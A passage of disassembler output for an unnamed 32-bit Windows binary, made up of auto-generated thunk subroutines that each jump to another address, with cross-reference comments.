; CODE XREF: sub_13B9180+EAp ; sub_13C28A0+157p jmp sub_13B9040 sub_13AB897 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB89C proc near jmp sub_13B4AE0 sub_13AB89C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8A1 proc near jmp sub_13B9550 sub_13AB8A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8A6 proc near ; CODE XREF: sub_13B6120+16p ; sub_13B6160+Bp ... jmp sub_13B64C0 sub_13AB8A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8AB proc near ; CODE XREF: sub_13D55F0+1Dp jmp sub_13D5660 sub_13AB8AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8B0 proc near ; CODE XREF: sub_13C6A20+4E7p ; sub_13C6A20+A75p ... jmp sub_13C79E0 sub_13AB8B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8B5 proc near ; CODE XREF: sub_13BD630+48p jmp sub_13BFAD0 sub_13AB8B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8BA proc near ; CODE XREF: sub_13C28A0+9Dp jmp sub_13B5280 sub_13AB8BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8BF proc near jmp sub_13BF150 sub_13AB8BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8C4 proc near ; CODE XREF: sub_13D0A40+3p ; sub_13D0AA0j ... jmp sub_13D0980 sub_13AB8C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8C9 proc near ; CODE XREF: sub_13AD8E0+115p ; sub_13AEA40+1B8p ... jmp sub_13B3F80 sub_13AB8C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8CE proc near ; CODE XREF: sub_13B5070+7p jmp sub_13B5160 sub_13AB8CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8D3 proc near ; CODE XREF: sub_13AEF10+9p ; sub_13AF070+45p ... jmp sub_13B4B40 sub_13AB8D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8D8 proc near ; CODE XREF: sub_13C8A70+E1p ; sub_13CBD00+1Ap jmp sub_13CBD70 sub_13AB8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8DD proc near ; CODE XREF: sub_13C4520+10p ; sub_13C46C0+47p ... jmp sub_13C4910 sub_13AB8DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8E2 proc near ; CODE XREF: sub_13B14B0+24p jmp sub_13B1690 sub_13AB8E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8E7 proc near ; CODE XREF: sub_13D5480+95p jmp sub_13D55F0 sub_13AB8E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8EC proc near jmp sub_13D1A20 sub_13AB8EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8F1 proc near ; CODE XREF: sub_13C0DA0+18Bp jmp sub_13C1950 sub_13AB8F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8F6 proc near ; CODE XREF: sub_13BFF30+5Fp jmp sub_13C0920 sub_13AB8F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB8FB proc near ; CODE XREF: sub_13CEC20+Fp ; sub_13CEC60+1CCp ... jmp sub_13CEB80 sub_13AB8FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB900 proc near ; CODE XREF: sub_13D26E0+117p ; sub_13D26E0+1DCp ... jmp sub_13B4390 sub_13AB900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB905 proc near jmp sub_13C3DC0 sub_13AB905 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB90A proc near jmp near ptr 13DD050h sub_13AB90A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB90F proc near jmp sub_13D9020 sub_13AB90F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB914 proc near jmp sub_13D8F30 sub_13AB914 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB919 proc near ; CODE XREF: sub_13CC360+8p jmp sub_13CC7B0 sub_13AB919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB91E proc near jmp sub_13C3D40 sub_13AB91E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB923 proc near ; CODE XREF: sub_13B6FB0+1E5p ; sub_13B7360+147p ... jmp sub_13C3D80 sub_13AB923 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB928 proc near ; CODE XREF: sub_13C2E80+3p jmp sub_13C3110 sub_13AB928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB92D proc near jmp sub_13D5960 sub_13AB92D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB932 proc near jmp near ptr 13DC9A0h sub_13AB932 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB937 proc near ; CODE XREF: sub_13BA370+95p ; sub_13BC3F0+54Dp ... jmp sub_13BE620 sub_13AB937 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB93C proc near ; CODE XREF: sub_13B5920+Bp ; sub_13B5CD0+69p jmp sub_13B6220 sub_13AB93C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB941 proc near ; CODE XREF: sub_13D9960+1Bp jmp sub_13D9AD0 sub_13AB941 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB946 proc near ; CODE XREF: sub_13CC2E0+7p jmp sub_13CC760 sub_13AB946 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB94B proc near jmp near ptr 13DCF80h sub_13AB94B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB950 proc near ; CODE XREF: sub_13C2D50+29p ; sub_13C2E30+29p jmp sub_13C2FD0 sub_13AB950 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB955 proc near ; CODE XREF: sub_13B5570+40p jmp sub_13B60B0 sub_13AB955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB95A proc near jmp sub_13DA7D0 sub_13AB95A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB95F proc near ; CODE XREF: sub_13B63F0+4p jmp sub_13B6600 sub_13AB95F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB964 proc near ; CODE XREF: sub_13B1430+3Cp jmp sub_13B15E0 sub_13AB964 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB969 proc near jmp sub_13C6030 sub_13AB969 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB96E proc near ; CODE XREF: sub_13BF620+4Fp ; sub_13BFF30+11p ... jmp sub_13C0180 sub_13AB96E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB973 proc near ; CODE XREF: sub_13C1140+15Ap jmp sub_13C2640 sub_13AB973 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB978 proc near ; CODE XREF: sub_13BDA80+BEp ; sub_13BDA80+FCp ... jmp sub_13BF500 sub_13AB978 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB97D proc near ; CODE XREF: sub_13C1140+6Fp jmp sub_13C1FD0 sub_13AB97D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB982 proc near ; CODE XREF: sub_13BCD10+39p ; sub_13BCD80+A9p jmp sub_13BCC80 sub_13AB982 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB987 proc near jmp near ptr dword_13DB320+1D0h sub_13AB987 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB98C proc near ; CODE XREF: sub_13B4830+16Fp jmp sub_13B4B90 sub_13AB98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB991 proc near ; CODE XREF: sub_13AE3C0+51p ; sub_13AE3C0+A4p ... jmp sub_13B14B0 sub_13AB991 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB996 proc near ; CODE XREF: sub_13B1B90+12C0p ; sub_13B1B90+12E9p ... jmp sub_13B5A80 sub_13AB996 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB99B proc near jmp near ptr 13DC3B0h sub_13AB99B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9A0 proc near jmp sub_13C4590 sub_13AB9A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9A5 proc near ; CODE XREF: sub_13C03D0+4p jmp sub_13C0A20 sub_13AB9A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9AA proc near ; CODE XREF: sub_13B3C50+1Ap ; sub_13B3CA0+1Ap jmp sub_13B3D10 sub_13AB9AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9AF proc near jmp sub_13D2460 sub_13AB9AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9B4 proc near jmp near ptr 13DCD10h sub_13AB9B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9B9 proc near ; CODE XREF: sub_13C3580+35p jmp sub_13C3610 sub_13AB9B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9BE proc near jmp near ptr 13DC8E0h sub_13AB9BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9C3 proc near ; CODE XREF: sub_13C7B40+3p jmp sub_13C7B70 sub_13AB9C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9C8 proc near jmp near ptr 13DC620h sub_13AB9C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9CD proc near ; CODE XREF: sub_13BF750+5p jmp sub_13C01B0 sub_13AB9CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9D2 proc near ; CODE XREF: sub_13C2DC0+5p ; sub_13C2EC0+6p ... jmp sub_13C30D0 sub_13AB9D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9D7 proc near ; CODE XREF: sub_13AF070+953p ; sub_13B1030+22Cp ... jmp sub_13B4080 sub_13AB9D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9DC proc near ; CODE XREF: sub_13C1140+2Fp jmp sub_13B0FA0 sub_13AB9DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9E1 proc near jmp sub_13CE770 sub_13AB9E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9E6 proc near ; CODE XREF: sub_13C01E0+5Ap jmp sub_13C0A70 sub_13AB9E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9EB proc near ; CODE XREF: sub_13C9340+1C7p jmp sub_13CB0E0 sub_13AB9EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9F0 proc near jmp sub_13D5C50 sub_13AB9F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9F5 proc near ; CODE XREF: sub_13D2410+3p jmp sub_13D2440 sub_13AB9F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9FA proc near ; CODE XREF: sub_13AF070+E94p ; sub_13AF070+FE7p ... jmp sub_13CA3A0 sub_13AB9FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB9FF proc near jmp near ptr 13DDA90h sub_13AB9FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA04 proc near jmp sub_13DA350 sub_13ABA04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA09 proc near ; CODE XREF: sub_13C28A0+20Ep jmp sub_13CFDA0 sub_13ABA09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA0E proc near ; CODE XREF: sub_13C07F0+8p jmp sub_13C0BC0 sub_13ABA0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA13 proc near jmp sub_13C8A70 sub_13ABA13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA18 proc near jmp sub_13C4EB0 sub_13ABA18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA1D proc near ; CODE XREF: sub_13B52A0p jmp near ptr dword_13DB6A0+80h sub_13ABA1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA22 proc near ; CODE XREF: sub_13B14F0+1Ap ; sub_13C2CA0+1Ap jmp sub_13B1620 sub_13ABA22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA27 proc near jmp sub_13C10A0 sub_13ABA27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA2C proc near jmp sub_13D9490 sub_13ABA2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA31 proc near ; CODE XREF: sub_13CC650+5Fp jmp sub_13CC9F0 sub_13ABA31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA36 proc near ; CODE XREF: sub_13C4590+8Ap jmp sub_13C5470 sub_13ABA36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA3B proc near jmp near ptr dword_13DB8B8+0C8h sub_13ABA3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA40 proc near jmp sub_13DA940 sub_13ABA40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA45 proc near ; CODE XREF: sub_13C1140+7Fp jmp sub_13C2070 sub_13ABA45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA4A proc near jmp sub_13DA610 sub_13ABA4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA4F proc near ; CODE XREF: sub_13B4C50+8p jmp sub_13B4CA0 sub_13ABA4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA54 proc near ; CODE XREF: sub_13BD0C0+29Ep jmp sub_13BD4F0 sub_13ABA54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA59 proc near ; CODE XREF: sub_13D9EC0+ADp jmp sub_13D9910 sub_13ABA59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA5E proc near ; CODE XREF: sub_13D6280+66p jmp sub_13D5BE0 sub_13ABA5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA63 proc near ; CODE XREF: sub_13D5CA0+15Ep jmp sub_13D58A0 sub_13ABA63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA68 proc near jmp sub_13B0C50 sub_13ABA68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA6D proc near jmp sub_13D8770 sub_13ABA6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA72 proc near ; CODE XREF: sub_13B1770+5Ap jmp sub_13B1970 sub_13ABA72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA77 proc near ; CODE XREF: sub_13CCA60+3Cp jmp sub_13CCBA0 sub_13ABA77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA7C proc near jmp sub_13C58C0 sub_13ABA7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA81 proc near ; CODE XREF: sub_13AD8E0+BBp ; sub_13AF070+F3Ap ... jmp sub_13ADAB0 sub_13ABA81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA86 proc near ; CODE XREF: sub_13D9150+80p ; sub_13D9230+1Ep ... jmp near ptr 13DD1A0h sub_13ABA86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA8B proc near ; CODE XREF: sub_13B3890+10p jmp sub_13B3930 sub_13ABA8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA90 proc near ; CODE XREF: sub_13B4830+4Ap jmp sub_13B4B60 sub_13ABA90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA95 proc near ; CODE XREF: sub_13C1140+9Fp jmp sub_13B9A10 sub_13ABA95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA9A proc near jmp near ptr 13DC500h sub_13ABA9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABA9F proc near jmp sub_13D8A70 sub_13ABA9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAA4 proc near ; CODE XREF: sub_13B62C0+9p ; sub_13B6520+18p jmp sub_13B66A0 sub_13ABAA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAA9 proc near ; CODE XREF: sub_13C7C40+283p jmp sub_13D8CA0 sub_13ABAA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAAE proc near ; CODE XREF: sub_13AD8E0+CCp ; sub_13AEA40+EDp ... jmp sub_13B4A30 sub_13ABAAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAB3 proc near ; CODE XREF: sub_13C1140+BFp jmp sub_13C2230 sub_13ABAB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAB8 proc near ; CODE XREF: sub_13CEA10+7Ep ; sub_13CEA10+92p ... jmp sub_13CE8E0 sub_13ABAB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABABD proc near ; CODE XREF: sub_13BCAC0+E0p ; sub_13BDBF0+CEp ... jmp sub_13B4270 sub_13ABABD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAC2 proc near jmp sub_13D8550 sub_13ABAC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAC7 proc near jmp sub_13D8CD0 sub_13ABAC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABACC proc near ; CODE XREF: sub_13BF480+29p jmp sub_13BFDE0 sub_13ABACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAD1 proc near jmp sub_13D0A40 sub_13ABAD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAD6 proc near ; CODE XREF: sub_13B3A00+58p ; sub_13B3A00+82p ... jmp sub_13B3C50 sub_13ABAD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABADB proc near jmp sub_13D1340 sub_13ABADB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAE0 proc near ; CODE XREF: sub_13C8A70+2B2p jmp sub_13CBEC0 sub_13ABAE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAE5 proc near jmp sub_13C5260 sub_13ABAE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAEA proc near jmp sub_13BBCF0 sub_13ABAEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAEF proc near ; CODE XREF: sub_13B4C50+10p jmp sub_13B4CC0 sub_13ABAEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAF4 proc near ; CODE XREF: sub_13C28A0+219p jmp near ptr 13DF600h sub_13ABAF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAF9 proc near ; CODE XREF: sub_13C2740+7Bp ; sub_13C2740+C5p ... jmp sub_13C2EF0 sub_13ABAF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABAFE proc near ; CODE XREF: sub_13BEBE0+FCp jmp sub_13BEDB0 sub_13ABAFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB03 proc near ; CODE XREF: sub_13C8A70+D1p jmp sub_13CBE20 sub_13ABB03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB08 proc near ; CODE XREF: sub_13B5280p ; sub_13DA4E0+15p jmp near ptr dword_13DB6A0 sub_13ABB08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB0D proc near ; CODE XREF: sub_13B3A00+91p ; sub_13BCFD0+Dp jmp sub_13B3BD0 sub_13ABB0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB12 proc near jmp sub_13B6800 sub_13ABB12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB17 proc near jmp sub_13B51E0 sub_13ABB17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB1C proc near ; CODE XREF: sub_13BDDC0+4Ep jmp sub_13BF480 sub_13ABB1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB21 proc near ; CODE XREF: sub_13B9A10+13Dp jmp sub_13BCFA0 sub_13ABB21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB26 proc near ; CODE XREF: sub_13B9550+80p ; sub_13C28A0+132p jmp sub_13B8630 sub_13ABB26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB2B proc near ; CODE XREF: sub_13BF480+51p jmp sub_13BFEB0 sub_13ABB2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB30 proc near ; CODE XREF: sub_13D1A70+98p jmp sub_13D1BE0 sub_13ABB30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB35 proc near jmp sub_13CF830 sub_13ABB35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB3A proc near jmp sub_13C5300 sub_13ABB3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB3F proc near ; CODE XREF: sub_13B14F0+48p ; sub_13B14F0:loc_13B1575p jmp sub_13B16F0 sub_13ABB3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB44 proc near ; CODE XREF: sub_13B5210+2Cp ; sub_13C2740+8Fp ... jmp sub_13B5340 sub_13ABB44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB49 proc near ; CODE XREF: sub_13ADAD0+2A5p ; sub_13ADAD0+2B5p ... jmp sub_13AE190 sub_13ABB49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB4E proc near ; CODE XREF: sub_13D4A10+7Fp ; sub_13D4C30+318p jmp sub_13D4820 sub_13ABB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB53 proc near ; CODE XREF: sub_13BFDA0+16p ; sub_13BFDE0+Bp ... jmp sub_13C0940 sub_13ABB53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB58 proc near ; CODE XREF: sub_13B5340+10p ; sub_13D96D0+11p jmp sub_13DA5A0 sub_13ABB58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB5D proc near ; CODE XREF: .idata:013B5314p jmp near ptr 13DD9D0h sub_13ABB5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB62 proc near ; CODE XREF: sub_13C3190+5Fp jmp sub_13C3420 sub_13ABB62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB67 proc near ; CODE XREF: sub_13C2C70+Cp jmp sub_13C28A0 sub_13ABB67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB6C proc near ; CODE XREF: sub_13C0DA0+8Bp ; sub_13C10F0+3p jmp sub_13C10D0 sub_13ABB6C endp ; --------------------------------------------------------------------------- jmp loc_13CB1D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB76 proc near ; CODE XREF: sub_13C1140+8Fp jmp sub_13C2140 sub_13ABB76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB7B proc near ; CODE XREF: sub_13D9C60+5Dp ; sub_13DAC30+2Cp jmp near ptr dword_13DB320+0E0h sub_13ABB7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB80 proc near jmp sub_13D86C0 sub_13ABB80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB85 proc near ; CODE XREF: sub_13CFFF0+4B0p jmp sub_13D19B0 sub_13ABB85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB8A proc near ; CODE XREF: sub_13CF830+57p jmp sub_13CF690 sub_13ABB8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB8F proc near ; CODE XREF: sub_13C1140+16Ap jmp sub_13C2670 sub_13ABB8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB94 proc near jmp near ptr 13DC330h sub_13ABB94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB99 proc near jmp sub_13D92D0 sub_13ABB99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABB9E proc near ; CODE XREF: sub_13D23E0+3p ; sub_13D2440j ... jmp sub_13D2310 sub_13ABB9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBA3 proc near ; CODE XREF: sub_13C0DA0+13Bp ; sub_13C10A0+3p jmp sub_13C1070 sub_13ABBA3 endp ; --------------------------------------------------------------------------- jmp sub_13D4520 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBAD proc near ; CODE XREF: sub_13DA370+D7p jmp near ptr byte_13DBB50 sub_13ABBAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBB2 proc near ; CODE XREF: sub_13B5280+5j ; sub_13DA4E0+1Dp jmp near ptr dword_13DB7A0 sub_13ABBB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBB7 proc near jmp sub_13DA550 sub_13ABBB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBBC proc near ; CODE XREF: sub_13CF800+10p ; sub_13CF900+3Dp jmp sub_13CF8D0 sub_13ABBBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBC1 proc near ; CODE XREF: sub_13B52A0+5j ; sub_13DA4E0+25p jmp near ptr dword_13DB7C0 sub_13ABBC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBC6 proc near jmp sub_13AF070 sub_13ABBC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBCB proc near ; CODE XREF: sub_13CEC20+1Ep ; sub_13CEC60+A6p ... jmp sub_13CEBB0 sub_13ABBCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBD0 proc near ; CODE XREF: sub_13C0DA0+FBp jmp sub_13C1D70 sub_13ABBD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBD5 proc near ; CODE XREF: sub_13C0530+11p ; sub_13C0530+27p ... jmp sub_13C0B00 sub_13ABBD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBDA proc near ; CODE XREF: sub_13BFD20+3p ; sub_13C0530+4Fp ... jmp sub_13C07B0 sub_13ABBDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBDF proc near ; CODE XREF: sub_13BF930+5Ep ; sub_13C0340+32p jmp sub_13C0280 sub_13ABBDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBE4 proc near ; CODE XREF: sub_13AD8E0+DBp ; sub_13AE3C0+3Fp ... jmp sub_13B4B20 sub_13ABBE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBE9 proc near ; CODE XREF: sub_13CC160+5Ap jmp sub_13CC780 sub_13ABBE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBEE proc near ; CODE XREF: sub_13C28A0+A8p jmp sub_13B5610 sub_13ABBEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBF3 proc near ; CODE XREF: sub_13B0C90+205p jmp sub_13C5C30 sub_13ABBF3 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABBFD proc near ; CODE XREF: sub_13D0E30+3p jmp sub_13D0E60 sub_13ABBFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC02 proc near ; CODE XREF: sub_13C8A70+FFp ; sub_13C8A70+179p ... jmp sub_13CBE90 sub_13ABC02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC07 proc near ; CODE XREF: sub_13B4510+7p ; sub_13B7990+2FDp jmp sub_13B4530 sub_13ABC07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC0C proc near ; CODE XREF: sub_13B5830+76p jmp sub_13B5790 sub_13ABC0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC11 proc near jmp sub_13CF440 sub_13ABC11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABC16 proc near ; CODE XREF: 